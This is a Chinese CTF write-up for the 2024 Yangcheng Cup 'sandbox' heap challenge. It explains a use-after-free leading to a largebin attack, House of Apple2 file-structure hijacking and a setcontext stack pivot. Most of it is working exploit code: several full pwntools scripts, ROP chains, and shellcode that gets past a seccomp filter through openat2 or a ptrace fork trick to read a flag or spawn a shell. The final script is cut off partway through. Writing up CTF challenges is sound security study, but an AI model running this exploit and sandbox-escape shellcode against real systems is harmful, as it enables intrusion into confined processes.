2024羊城杯sandbox(禁用open和openat)

题目分析

增删改查都有,存在uaf,可以直接largebin attack

禁用了open,openat,execve等

思路分析

largebin attack之后把_IO_list_all改成堆地址,接着打一个apple2即可劫持程序控制流,但是由于程序禁用了open和openat2,所以常规的orw不能用,故一下有两个思路

1.利用openat2系统调用代替open,调用号为437,其函数原型如下

    ssize_t openat2(int dfd, const char* filename, struct open_how* how, size_t usize);

这个函数封装了三个参数到结构体how中:

struct open_how {
	__u64 flags;
	__u64 mode;
	__u64 resolve;
};

实际使用的时候要把dfd设置成-100,因为函数的第一个参数dfd指的是当path为相对路径时,该路径在文件系统中的开始地址(即打开目录获取的文件描述符),但可以指定其为AT_FDCWD(-100),指定路径为当前路径。

filename设置成flagaddr,how设置成一个可控地址,并把how里面的flags,mode,resolve都设置成0(至于原因不是特别懂,调出来的)

参数size必须为结构体open_how的大小,也就是0x18

附一段shellcode,是利用了openat2的orwpayload

shellcode = asm("""
    mov rax, 0x67616c66
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    push 0
    push 0
    push 0
    mov rdx, rsp
    mov r10, 0x18
    push SYS_openat2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall 
""")

不过利用这个方法有个弊端,那就是openat2函数是在kernel 5.6 才引入的,因此在较低的内核无法用openat2打开

2.使用ptrace去hook->seccomp

至于原理,完全不懂,只会用一套板子

order2 = b'h\x00'[::-1].hex()
order1 = b'/bin/bas'[::-1].hex()
shellcode = asm(f"""
_start:
    /* Step 1: fork a new process */
    mov rax, 57             /* syscall number for fork (on x86_64) */
    syscall                 /* invoke fork() */
    test rax, rax           /* check if return value is 0 (child) or positive (parent) */
    js _exit                /* if fork failed, exit */
    /* Step 2: If parent process, attach to child process */
    cmp rax, 0              /* are we the child process? */
    je child_process        /* if yes, jump to child_process */
parent_process:
    /* Store child PID */
    mov r8,rax
    mov rsi, r8            /* rdi = child PID */
    /* Attach to child process */
    mov rax, 101            /* syscall number for ptrace */
    mov rdi, 0x10           /* PTRACE_ATTACH */
    xor rdx, rdx            /* no options */
    xor r10, r10            /* no data */
    syscall                 /* invoke ptrace(PTRACE_ATTACH, child_pid, 0, 0) */
monitor_child:
    /* Wait for the child to stop */
    
    mov rdi, r8            /* rdi = child PID */
    mov rsi, rsp            /*  no status*/
    xor rdx, rdx            /* no options */
    xor r10, r10            /* no rusage */
    mov rax, 61             /* syscall number for wait4 */
    syscall                 /* invoke wait4() */
    /* Set ptrace options */
    mov rax, 110
    syscall    
    mov rdi, 0x4200         /* PTRACE_SETOPTIONS */
    mov rsi, r8            /* rsi = child PID */
    xor rdx, rdx            /* no options */
    mov r10, 0x00000080     /* PTRACE_O_TRACESECCOMP */
    mov rax, 101            /* syscall number for ptrace */
    syscall                 /* invoke ptrace(PTRACE_SETOPTIONS, child_pid, 0, 0) */
    /* Allow the child process to continue */
    mov rax, 110
    syscall
    
    mov rdi, 0x7            /* PTRACE_CONT */
    mov rsi, r8            /* rsi = child PID */
    xor rdx, rdx            /* no options */
    xor r10, r10            /* no data */
    mov rax, 101            /* syscall number for ptrace */
    syscall                 /* invoke ptrace(PTRACE_CONT, child_pid, 0, 0) */
    /* Loop to keep monitoring the child */
    jmp monitor_child
child_process:
    /* Child process code here */
    /* For example, we could execute a shell or perform other actions */
    /* To keep it simple, let's just execute `/bin/sh` */
                
    /* sleep(5) */
    /* push 0 */
    push 1
    dec byte ptr [rsp]
    /* push 5 */
    push 5
    /* nanosleep(requested_time='rsp', remaining=0) */
    mov rdi, rsp
    xor esi, esi /* 0 */
    /* call nanosleep() */
    push SYS_nanosleep /* 0x23 */
    pop rax
    syscall
    mov rax, 0x{order2}  /* "/bin/sh" */
    push rax
    mov rax, 0x{order1}  /* "/bin/sh" */
    push rax
    mov rdi, rsp    
    mov rsi, 0
    xor rdx, rdx
    mov rax, 59             /* syscall number for execve */
    syscall
    jmp child_process
_exit:
    /* Exit the process */
    mov rax, 60             /* syscall number for exit */
    xor rdi, rdi            /* status 0 */
    syscall
""")

跑一下这段shellcode,就可以在子进程内关闭沙箱,至于如何才能跑shellcode?调用mprotect那一套不多赘述

具体打法

前期的打法是一样的,只有在劫持程序控制流之后,上述两种方法才有区别,所以在这里一块讲了largebin attack的部分

add(0,0x600)
add(1,0x610)
add(2,0x610)
add(3,0x610)
add(4,0x600)
add(5,0x600)
delete(1)
delete(3)
show(1)
libcbase=p.uu64()-0x21ace0+0x024020
show(3)
heapbase=p.uu64()-0x8a0
print('libcbase',hex(libcbase))
print('heapbase',hex(heapbase))

先把libc和heap泄露出来,这里不多说,比较简单

接着利用UAF漏洞,对已释放的堆块进行edit操作,修改bk_nextsize,实现largebin attack

add(5,0x620)
# p.debug()
fd=0x14f0+heapbase
bk=0x1f7130+libcbase
add(6,0x610)
delete(4)
edit(1,p64(fd)+p64(bk)+p64(0)+p64(libcbase+libc.symbols['_IO_list_all']-0x20))
add(7,0x640)

这里也不多赘述

在做一些前期的数据准备,准备走传统的apple2打法

_IO_file_jumps=libcbase+libc.symbols['_IO_file_jumps']
_IO_wfile_jumps=libcbase+libc.symbols['_IO_wfile_jumps']
payloadbase=heapbase+0x1b00
chain=payloadbase+0x100
gadget1=libcbase+0x00000000001565ca#0x00000000001565ca : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x10]
gadget2=libcbase+0x160e56#0x0000000000160e56 : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
flagaddr=payloadbase+0x400
f2=IO_FILE_plus_struct()
f2._IO_read_base=gadget2
f2._IO_write_ptr=1
f2._IO_buf_end=payloadbase+0x200
f2._IO_buf_base=payloadbase+8
f2._flags2 = 8
f2._mode = 0
f2._wide_data = payloadbase+0x100
f2.vtable = _IO_wfile_jumps
rop=ROP(libc)
pop_r12 = rop.find_gadget(['pop r12', 'ret']).address + libcbase
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address + libcbase
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address + libcbase
pop_rax = rop.find_gadget(['pop rax', 'ret']).address + libcbase
pop_r12_r13 = rop.find_gadget(['pop r12', 'pop r13', 'ret']).address + libcbase
pop_rax_rdx_rbx = rop.find_gadget(['pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase
syscall = rop.find_gadget(['syscall', 'ret']).address + libcbase
setcontextaddr = libc.symbols['setcontext'] + 61 + libcbase
rsp=payloadbase+0x300

另外,我们要关注几段magic gadget,因为本题没有

mov rdx,[rdi+8]
mov [rsp],rax
call [rdx+0x20]

所以我们需要重新找magic gadget来控制程序流,很显然一个gadget是不够用的,这里我们找了两段magic gadget

gadget1=libcbase+0x00000000001565ca#0x00000000001565ca : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x10]
gadget2=libcbase+0x160e56#0x0000000000160e56 : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]

具体是怎么劫持控制流的呢?看下面的这张图吧,具体就不多赘述了,而且每个题都不一定一样

最终执行到setcontext,再利用setcontext设置各个寄存器,包括rsp,从而顺道实现了栈迁移

openat2打法

接下来就先来说说openat2的打法,openat2也有两种打法,这里分条陈述

1.构造ROP链
payload=p64(0)*4
payload+=p64(libcbase+libc.symbols['setcontext']+61)+p64(0)
payload+=p64(0)*7
payload+=p64(0xffffffffffffff9c)#rdi
payload+=p64(flagaddr)#rsi
payload+=p64(0)*2
payload+=p64(how)#rdx
payload+=p64(0)*2
payload+=p64(rsp+8)
payload+=p64(pop_rax)
gadgat3=0x241D6+libcbase
data = flat({
    0:bytes(f2)[16:],
    0xf0:[0,0,0,0,0,0,0,0,0,0,0],
    0x158:gadget1,
    0x1d0:payloadbase+0x100,
    0x1f0:payload,
    0x2f0:{
        0x10:gadgat3,
        0x28:[0x18,payloadbase+0x10],
        0x58:0,
        0x70:{#这里是调用完setcontext之后rsp指向的位置
            0:pop_rax,
            0x8:437,
            0x10:syscall,
            0x18:pop_rdi,
            0x20:3,
            0x28:pop_rsi,
            0x30:flagaddr,
            0x38:pop_rax_rdx_rbx,
            0x40:[0,300,0],
            0x58:syscall,
            0x60:pop_rdi,
            0x68:1,
            0x70:pop_rax,
            0x78:1,
            0x80:syscall
        },
    },
    0x3f0:'./flag\0',
    0x400:[0,0,0]
})

前面思路分析中,有一个要点没有提到,那就是openat2的第四个参数,在实际调试中,这个参数存放在r10里,不看还好,一查找,你会发现,没有任何和pop r10,ret有关的gadget,而所有的mov指令,r10都是mov的第二个参数,也就是说,r10只作为被mov的值,本身不会改变,这就麻烦了,我就直接到libc里去找,别说,还真让我找到了,在0x241D6的位置我找到了这样一段gadget

.text:00000000000241D6                 mov     r10, [rsp+10h]
.text:00000000000241DB                 mov     r11, [rsp+18h]
.text:00000000000241E0
.text:00000000000241E0 loc_241E0:                              ; CODE XREF: sub_240D0+1BE↓j
.text:00000000000241E0                 cmp     qword ptr [r11], 0
.text:00000000000241E4                 jz      short loc_241FA
.text:00000000000241E6                 mov     r12, [rsp+58h+var_50]
.text:00000000000241EB                 add     r12, r10
.text:00000000000241EE                 shl     r12, 4
.text:00000000000241F2                 mov     rdx, [rbx+r12+10h]
.text:00000000000241F7                 mov     [r11], rdx
.text:00000000000241FA
.text:00000000000241FA loc_241FA:                              ; CODE XREF: sub_240D0+114↑j
.text:00000000000241FA                 add     rsp, 28h
.text:00000000000241FE                 pop     rbx
.text:00000000000241FF                 pop     rbp
.text:0000000000024200                 pop     r12
.text:0000000000024202                 pop     r13
.text:0000000000024204                 pop     r14
.text:0000000000024206                 pop     r15
.text:0000000000024208                 retn

这里可以把[rsp+0x10]存放的东西付给r10,把[rsp+0x18]存放的东西赋给r11,接着比较一下[r11]存放的东西是不是0,如果是0,那么会跳转到0x241FA的位置,执行一个add rsp(相当于好几个pop),再来好几个pop,最后return,所以我们只需要空出一定的空间,让程序执行一堆没用的pop就可以了,当然,前提是要在[rsp+0x18]的位置存放一个地址赋给r11,这个地址存放的值是0,这段gadget记为gadget3

其他的就是调用了orw了,这块不必多说了

2.mprotect+shellcode

思路和前面的有重合,再利用setcontext设置好寄存器并进行栈迁移后,调用mprotect把堆设置成可执行

payload=p64(0)*4
payload+=p64(libcbase+libc.symbols['setcontext']+61)+p64(0)
payload+=p64(0)*7
payload+=p64(heapbase)#rdi
payload+=p64(0x8000)#rsi
payload+=p64(0)*2
payload+=p64(7)
payload+=p64(0)+p64(0x18)
payload+=p64(rsp+8)
payload+=p64(pop_rax)

data = flat({
    0:bytes(f2)[16:],#伪造第一个_IO_file结构体,但是pre_size和size已经占用了16字节
    0xf0:[0,0,0,0,0,0,0,0,0,0,0],
    0x158:gadget1,
    0x1d0:payloadbase+0x100,
    0x1f0:payload,
    0x300:{
            0:pop_rax,
            0x8:10,
            0x10:syscall,
            0x18:0x1e30+heapbase,
            0x20:shellcode
        },
})

shellcode就是第一个板块的openat2的shellcode

ptrace打法

原理完全不懂,只会套板子,关于这个题为什么可以这样打,貌似和那个return TRACE有关系,貌似是如果是return kill就不行了,具体为什么鼠鼠也不知道,有了解的师傅求教

直接打shellcode就可以了

1.直接orw
shellcode2 = f'''
main:
/*fork()*/
push {NR_fork}
pop rax
syscall
push rax
pop rbx
test rax,rax
jz child_code


/*ptrace(PTRACE_ATTACH, pid, NULL, NULL)*/
xor r10, r10
xor edx, edx
mov rsi,rbx
mov rdi,{PTRACE_ATTACH}
push {NR_ptrace}
pop rax
syscall


/* wait child */
xor rdi, rdi
push {NR_wait}
pop rax
syscall


/* ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESECCOMP) */
mov r10,{PTRACE_O_TRACESECCOMP}
xor rdx, rdx
mov rsi,rbx
mov rdi, 0x4200
push {NR_ptrace}
pop rax
syscall
js error


/* ptrace(PTRACE_CONT, pid, NULL, NULL) */
xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi, {PTRACE_CONT} /* PTRACE_CONT */
push {NR_ptrace}
pop rax
syscall
js error


/* Wait seccomp */
xor rdi, rdi
push {NR_wait}
pop rax
syscall


xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi,{PTRACE_DETACH}
push {NR_ptrace}
pop rax
syscall
jmp end


child_code:
{shellcraft.open('/flag')}
{shellcraft.sendfile(1, 3, 0, 0x100)}
error:
/* exit */
xor rdi, rdi
mov rax, 60
syscall
end:
nop
'''

但是本地不通,费解,貌似是fork失败了

2.直接getshell
order2 = b'h\x00'[::-1].hex()
order1 = b'/bin/bas'[::-1].hex()
shellcode = asm(f"""
_start:
    /* Step 1: fork a new process */
    mov rax, 57             /* syscall number for fork (on x86_64) */
    syscall                 /* invoke fork() */
    test rax, rax           /* check if return value is 0 (child) or positive (parent) */
    js _exit                /* if fork failed, exit */
    /* Step 2: If parent process, attach to child process */
    cmp rax, 0              /* are we the child process? */
    je child_process        /* if yes, jump to child_process */
parent_process:
    /* Store child PID */
    mov r8,rax
    mov rsi, r8            /* rdi = child PID */
    /* Attach to child process */
    mov rax, 101            /* syscall number for ptrace */
    mov rdi, 0x10           /* PTRACE_ATTACH */
    xor rdx, rdx            /* no options */
    xor r10, r10            /* no data */
    syscall                 /* invoke ptrace(PTRACE_ATTACH, child_pid, 0, 0) */
monitor_child:
    /* Wait for the child to stop */

    mov rdi, r8            /* rdi = child PID */
    mov rsi, rsp            /*  no status*/
    xor rdx, rdx            /* no options */
    xor r10, r10            /* no rusage */
    mov rax, 61             /* syscall number for wait4 */
    syscall                 /* invoke wait4() */
    /* Set ptrace options */
    mov rax, 110
    syscall    
    mov rdi, 0x4200         /* PTRACE_SETOPTIONS */
    mov rsi, r8            /* rsi = child PID */
    xor rdx, rdx            /* no options */
    mov r10, 0x00000080     /* PTRACE_O_TRACESECCOMP */
    mov rax, 101            /* syscall number for ptrace */
    syscall                 /* invoke ptrace(PTRACE_SETOPTIONS, child_pid, 0, 0) */
    /* Allow the child process to continue */
    mov rax, 110
    syscall

    mov rdi, 0x7            /* PTRACE_CONT */
    mov rsi, r8            /* rsi = child PID */
    xor rdx, rdx            /* no options */
    xor r10, r10            /* no data */
    mov rax, 101            /* syscall number for ptrace */
    syscall                 /* invoke ptrace(PTRACE_CONT, child_pid, 0, 0) */
    /* Loop to keep monitoring the child */
    jmp monitor_child
child_process:
    /* Child process code here */
    /* For example, we could execute a shell or perform other actions */
    /* To keep it simple, let's just execute `/bin/sh` */

    /* sleep(5) */
    /* push 0 */
    push 1
    dec byte ptr [rsp]
    /* push 5 */
    push 5
    /* nanosleep(requested_time='rsp', remaining=0) */
    mov rdi, rsp
    xor esi, esi /* 0 */
    /* call nanosleep() */
    push SYS_nanosleep /* 0x23 */
    pop rax
    syscall
    mov rax, 0x{order2}  /* "/bin/sh" */
    push rax
    mov rax, 0x{order1}  /* "/bin/sh" */
    push rax
    mov rdi, rsp    
    mov rsi, 0
    xor rdx, rdx
    mov rax, 59             /* syscall number for execve */
    syscall
    jmp child_process
_exit:
    /* Exit the process */
    mov rax, 60             /* syscall number for exit */
    xor rdi, rdi            /* status 0 */
    syscall
""")

这段payload能够稳定的getshell,但是用不了ls,cat等命令,原因参考自羊城杯 2024 pwn writeup | Qanux’s space

那为什么 ls、cat 等指令无法使用呢?这里以 ls 为例解释一下:
ls命令的实现可以分为以下几个步骤:

  1. 打开目录:首先,需要打开要列出文件的目录。可以使用 open() 系统调用来打开目录,并获得一个目录文件描述符。
  2. 读取目录项:通过 readdir() 系统调用,可以从打开的目录中读取目录项。readdir() 会返回一个指向目录项结构体的指针。通过循环调用 readdir(),可以逐个读取目录中的文件。
  3. 过滤隐藏文件:在读取目录项之后,需要对目录项进行过滤。Linux中的隐藏文件以.开头,可以通过判断目录项的名字的第一个字符是否为.来过滤隐藏文件。
  4. 输出目录项信息:读取到一个目录项之后,可以通过目录项结构体中的字段获取文件的属性信息,比如文件名、大小、修改时间等。可以使用 printf() 函数将这些信息输出到终端。
  5. 关闭目录:使用 closedir() 系统调用来关闭打开的目录,释放资源。

可以看到执行 ls 命令需要使用 open 系统调用,可是我们拿到的 shell 依然处于沙箱的环境中,open 系统调用给禁止使用,这也意味着我们无法使用 ls 命令

所以Qanux师傅给了这样一段命令

# ls
echo *

# cat flag
while IFS = read -r line; do
    echo "$line"
done < flag

不过我执行了之后还是出不来flag,可能是本地和远端环境的问题吧?不过我远端也没有打过

完整payload

1.openat2+rop
from pwnplus import *
from pwncli import *
context.arch = 'amd64'
context.log_level = 'debug'
p=mypwn('./pwn')
libc = ELF('./libc.so.6')
def choose(num):
    p.sla(b'>',str(num))
def add(index,size):
    choose(1)
    p.sla(b'Index: ',str(index))
    p.sla(b'Size: ',str(size))
def delete(index):
    choose(2)
    p.sla(b'Index: ',str(index))
def edit(index,content):
    choose(3)
    p.sla(b'Index: ',str(index))
    p.sla(b'Content: ',content)
def show(index):
    choose(4)
    p.sla(b'Index: ',str(index))

add(0,0x600)
add(1,0x610)
add(2,0x610)
add(3,0x610)
add(4,0x600)
add(5,0x600)
delete(1)
delete(3)
show(1)
libcbase=p.uu64()-0x21ace0+0x024020
show(3)
heapbase=p.uu64()-0x8a0
print('libcbase',hex(libcbase))
print('heapbase',hex(heapbase))
add(5,0x620)
# p.debug()
fd=0x14f0+heapbase
bk=0x1f7130+libcbase
add(6,0x610)
delete(4)
edit(1,p64(fd)+p64(bk)+p64(0)+p64(libcbase+libc.symbols['_IO_list_all']-0x20))
add(7,0x640)
_IO_file_jumps=libcbase+libc.symbols['_IO_file_jumps']
_IO_wfile_jumps=libcbase+libc.symbols['_IO_wfile_jumps']
payloadbase=heapbase+0x1b00
chain=payloadbase+0x100
gadget1=libcbase+0x00000000001565ca#0x00000000001565ca : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x10]
gadget2=libcbase+0x160e56#0x0000000000160e56 : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
flagaddr=payloadbase+0x400
how=payloadbase+0x410
f2=IO_FILE_plus_struct()
f2._IO_read_base=gadget2
f2._IO_write_ptr=1
f2._IO_buf_end=payloadbase+0x200
f2._IO_buf_base=payloadbase+8
f2._flags2 = 8
f2._mode = 0
f2._wide_data = payloadbase+0x100
f2.vtable = _IO_wfile_jumps
rop=ROP(libc)
pop_r12 = rop.find_gadget(['pop r12', 'ret']).address + libcbase
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address + libcbase
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address + libcbase
pop_rax = rop.find_gadget(['pop rax', 'ret']).address + libcbase
pop_r12_r13 = rop.find_gadget(['pop r12', 'pop r13', 'ret']).address + libcbase
pop_rax_rdx_rbx = rop.find_gadget(['pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase
syscall = rop.find_gadget(['syscall', 'ret']).address + libcbase
prctl=libcbase+libc.symbols['prctl']
system=libcbase+libc.symbols['system']
rsp=payloadbase+0x300
payload=p64(0)*4
payload+=p64(libcbase+libc.symbols['setcontext']+61)+p64(0)
payload+=p64(0)*7
payload+=p64(0xffffffffffffff9c)#rdi
payload+=p64(flagaddr)#rsi
payload+=p64(0)*2
payload+=p64(how)#rdx
payload+=p64(0)*2
payload+=p64(rsp+8)
payload+=p64(pop_rax)
gadgat3=0x241D6+libcbase
data = flat({
    0:bytes(f2)[16:],
    0xf0:[0,0,0,0,0,0,0,0,0,0,0],
    0x158:gadget1,
    0x1d0:payloadbase+0x100,
    0x1f0:payload,
    0x2f0:{
        0x10:gadgat3,
        0x28:[0x18,payloadbase+0x10],
        0x58:0,
        0x70:{
            0:pop_rax,
            0x8:437,
            0x10:syscall,
            0x18:pop_rdi,
            0x20:3,
            0x28:pop_rsi,
            0x30:flagaddr,
            0x38:pop_rax_rdx_rbx,
            0x40:[0,300,0],
            0x58:syscall,
            0x60:pop_rdi,
            0x68:1,
            0x70:pop_rax,
            0x78:1,
            0x80:syscall
        },
    },
    0x3f0:'./flag\0',
    0x400:[0,0,0]
})


edit(4,data)
print(hex(gadget2))
# p.debug()
choose(5)

p.ia()
2.openat2+shellcode
from pwnplus import *
from pwncli import *
import pwnlib.shellcraft as sc
context.arch = 'amd64'
context.log_level = 'debug'
p=mypwn('./pwn')
libc = ELF('./libc.so.6')
def choose(num):
    p.sla(b'>',str(num))
def add(index,size):
    choose(1)
    p.sla(b'Index: ',str(index))
    p.sla(b'Size: ',str(size))
def delete(index):
    choose(2)
    p.sla(b'Index: ',str(index))
def edit(index,content):
    choose(3)
    p.sla(b'Index: ',str(index))
    p.sla(b'Content: ',content)
def show(index):
    choose(4)
    p.sla(b'Index: ',str(index))

add(0,0x600)
add(1,0x610)
add(2,0x610)
add(3,0x610)
add(4,0x600)
add(5,0x600)
delete(1)
delete(3)
show(1)
libcbase=p.uu64()-0x21ace0+0x024020
show(3)
heapbase=p.uu64()-0x8a0
print('libcbase',hex(libcbase))
print('heapbase',hex(heapbase))
#--------泄露libc和heap-----------
add(5,0x620)
# p.debug()
fd=0x14f0+heapbase
bk=0x1f7130+libcbase
add(6,0x610)
delete(4)
edit(1,p64(fd)+p64(bk)+p64(0)+p64(libcbase+libc.symbols['_IO_list_all']-0x20))
add(7,0x640)
#----------largebin attack-------------
_IO_file_jumps=libcbase+libc.symbols['_IO_file_jumps']
_IO_wfile_jumps=libcbase+libc.symbols['_IO_wfile_jumps']
payloadbase=heapbase+0x1b00
chain=payloadbase+0x100
gadget1=libcbase+0x00000000001565ca#0x00000000001565ca : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x10]
gadget2=libcbase+0x160e56#0x0000000000160e56 : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
flagaddr=payloadbase+0x400
f2=IO_FILE_plus_struct()
f2._IO_read_base=gadget2
f2._IO_write_ptr=1
f2._IO_buf_end=payloadbase+0x200
f2._IO_buf_base=payloadbase+8
f2._flags2 = 8
f2._mode = 0
f2._wide_data = payloadbase+0x100
f2.vtable = _IO_wfile_jumps
rop=ROP(libc)
pop_r12 = rop.find_gadget(['pop r12', 'ret']).address + libcbase
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address + libcbase
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address + libcbase
pop_rax = rop.find_gadget(['pop rax', 'ret']).address + libcbase
pop_r12_r13 = rop.find_gadget(['pop r12', 'pop r13', 'ret']).address + libcbase
pop_rax_rdx_rbx = rop.find_gadget(['pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase
syscall = rop.find_gadget(['syscall', 'ret']).address + libcbase
setcontextaddr = libc.symbols['setcontext'] + 61 + libcbase
rsp=payloadbase+0x300
payload=p64(0)*4
payload+=p64(libcbase+libc.symbols['setcontext']+61)+p64(0)
payload+=p64(0)*7
payload+=p64(heapbase)#rdi
payload+=p64(0x8000)#rsi
payload+=p64(0)*2
payload+=p64(7)
payload+=p64(0)+p64(0x18)
payload+=p64(rsp+8)
payload+=p64(pop_rax)

NR_fork=57
NR_ptrace=101
NR_wait=61
PTRACE_ATTACH=16
PTRACE_SETOPTIONS = 0x4200
PTRACE_O_TRACESECCOMP   = 0x00000080
PTRACE_CONT = 7
PTRACE_DETACH=17



shellcode = asm("""
    mov rax, 0x67616c66
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    push 0
    push 0
    push 0
    mov rdx, rsp
    mov r10, 0x18
    push SYS_openat2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall 
""")



data = flat({
    0:bytes(f2)[16:],#伪造第一个_IO_file结构体,但是pre_size和size已经占用了16字节
    0xf0:[0,0,0,0,0,0,0,0,0,0,0],
    0x158:gadget1,
    0x1d0:payloadbase+0x100,
    0x1f0:payload,
    0x300:{
            0:pop_rax,
            0x8:10,
            0x10:syscall,
            0x18:0x1e30+heapbase,
            0x20:shellcode
        },
})


edit(4,data)
print(hex(gadget2))
p.debug()
choose(5)

p.ia()
3.ptrace+orw
from pwnplus import *
from pwncli import *
import pwnlib.shellcraft as sc
context.arch = 'amd64'
context.log_level = 'debug'
p=mypwn('./pwn')
libc = ELF('./libc.so.6')
def choose(num):
    p.sla(b'>',str(num))
def add(index,size):
    choose(1)
    p.sla(b'Index: ',str(index))
    p.sla(b'Size: ',str(size))
def delete(index):
    choose(2)
    p.sla(b'Index: ',str(index))
def edit(index,content):
    choose(3)
    p.sla(b'Index: ',str(index))
    p.sla(b'Content: ',content)
def show(index):
    choose(4)
    p.sla(b'Index: ',str(index))

add(0,0x600)
add(1,0x610)
add(2,0x610)
add(3,0x610)
add(4,0x600)
add(5,0x600)
delete(1)
delete(3)
show(1)
libcbase=p.uu64()-0x21ace0+0x024020
show(3)
heapbase=p.uu64()-0x8a0
print('libcbase',hex(libcbase))
print('heapbase',hex(heapbase))
#--------泄露libc和heap-----------
add(5,0x620)
# p.debug()
fd=0x14f0+heapbase
bk=0x1f7130+libcbase
add(6,0x610)
delete(4)
edit(1,p64(fd)+p64(bk)+p64(0)+p64(libcbase+libc.symbols['_IO_list_all']-0x20))
add(7,0x640)
#----------largebin attack-------------
_IO_file_jumps=libcbase+libc.symbols['_IO_file_jumps']
_IO_wfile_jumps=libcbase+libc.symbols['_IO_wfile_jumps']
payloadbase=heapbase+0x1b00
chain=payloadbase+0x100
gadget1=libcbase+0x00000000001565ca#0x00000000001565ca : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x10]
gadget2=libcbase+0x160e56#0x0000000000160e56 : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
flagaddr=payloadbase+0x400
f2=IO_FILE_plus_struct()
f2._IO_read_base=gadget2
f2._IO_write_ptr=1
f2._IO_buf_end=payloadbase+0x200
f2._IO_buf_base=payloadbase+8
f2._flags2 = 8
f2._mode = 0
f2._wide_data = payloadbase+0x100
f2.vtable = _IO_wfile_jumps
rop=ROP(libc)
pop_r12 = rop.find_gadget(['pop r12', 'ret']).address + libcbase
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address + libcbase
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address + libcbase
pop_rax = rop.find_gadget(['pop rax', 'ret']).address + libcbase
pop_r12_r13 = rop.find_gadget(['pop r12', 'pop r13', 'ret']).address + libcbase
pop_rax_rdx_rbx = rop.find_gadget(['pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase
syscall = rop.find_gadget(['syscall', 'ret']).address + libcbase
setcontextaddr = libc.symbols['setcontext'] + 61 + libcbase
rsp=payloadbase+0x300
payload=p64(0)*4
payload+=p64(libcbase+libc.symbols['setcontext']+61)+p64(0)
payload+=p64(0)*7
payload+=p64(heapbase)#rdi
payload+=p64(0x8000)#rsi
payload+=p64(0)*2
payload+=p64(7)
payload+=p64(0)+p64(0x18)
payload+=p64(rsp+8)
payload+=p64(pop_rax)

NR_fork=57
NR_ptrace=101
NR_wait=61
PTRACE_ATTACH=16
PTRACE_SETOPTIONS = 0x4200
PTRACE_O_TRACESECCOMP   = 0x00000080
PTRACE_CONT = 7
PTRACE_DETACH=17



shellcode2 = f'''
main:
/*fork()*/
push {NR_fork}
pop rax
syscall
push rax
pop rbx
test rax,rax
jz child_code


/*ptrace(PTRACE_ATTACH, pid, NULL, NULL)*/
xor r10, r10
xor edx, edx
mov rsi,rbx
mov rdi,{PTRACE_ATTACH}
push {NR_ptrace}
pop rax
syscall


/* wait child */
xor rdi, rdi
push {NR_wait}
pop rax
syscall


/* ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESECCOMP) */
mov r10,{PTRACE_O_TRACESECCOMP}
xor rdx, rdx
mov rsi,rbx
mov rdi, 0x4200
push {NR_ptrace}
pop rax
syscall
js error


/* ptrace(PTRACE_CONT, pid, NULL, NULL) */
xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi, {PTRACE_CONT} /* PTRACE_CONT */
push {NR_ptrace}
pop rax
syscall
js error


/* Wait seccomp */
xor rdi, rdi
push {NR_wait}
pop rax
syscall


xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi,{PTRACE_DETACH}
push {NR_ptrace}
pop rax
syscall
jmp end


child_code:
{shellcraft.open('/flag')}
{shellcraft.sendfile(1, 3, 0, 0x100)}
error:
/* exit */
xor rdi, rdi
mov rax, 60
syscall
end:
nop
'''



data = flat({
    0:bytes(f2)[16:],#伪造第一个_IO_file结构体,但是pre_size和size已经占用了16字节
    0xf0:[0,0,0,0,0,0,0,0,0,0,0],
    0x158:gadget1,
    0x1d0:payloadbase+0x100,
    0x1f0:payload,
    0x300:{
            0:pop_rax,
            0x8:10,
            0x10:syscall,
            0x18:0x1e30+heapbase,
            0x20:asm(shellcode2)
        },
})


edit(4,data)
print(hex(gadget2))
p.debug()
choose(5)

p.ia()
4.ptrace+execve
from pwnplus import *
from pwncli import *
import pwnlib.shellcraft as sc
context.arch = 'amd64'
context.log_level = 'debug'
p=mypwn('./pwn')
libc = ELF('./libc.so.6')
def choose(num):
    p.sla(b'>',str(num))
def add(index,size):
    choose(1)
    p.sla(b'Index: ',str(index))
    p.sla(b'Size: ',str(size))
def delete(index):
    choose(2)
    p.sla(b'Index: ',str(index))
def edit(index,content):
    choose(3)
    p.sla(b'Index: ',str(index))
    p.sla(b'Content: ',content)
def show(index):
    choose(4)
    p.sla(b'Index: ',str(index))

add(0,0x600)
add(1,0x610)
add(2,0x610)
add(3,0x610)
add(4,0x600)
add(5,0x600)
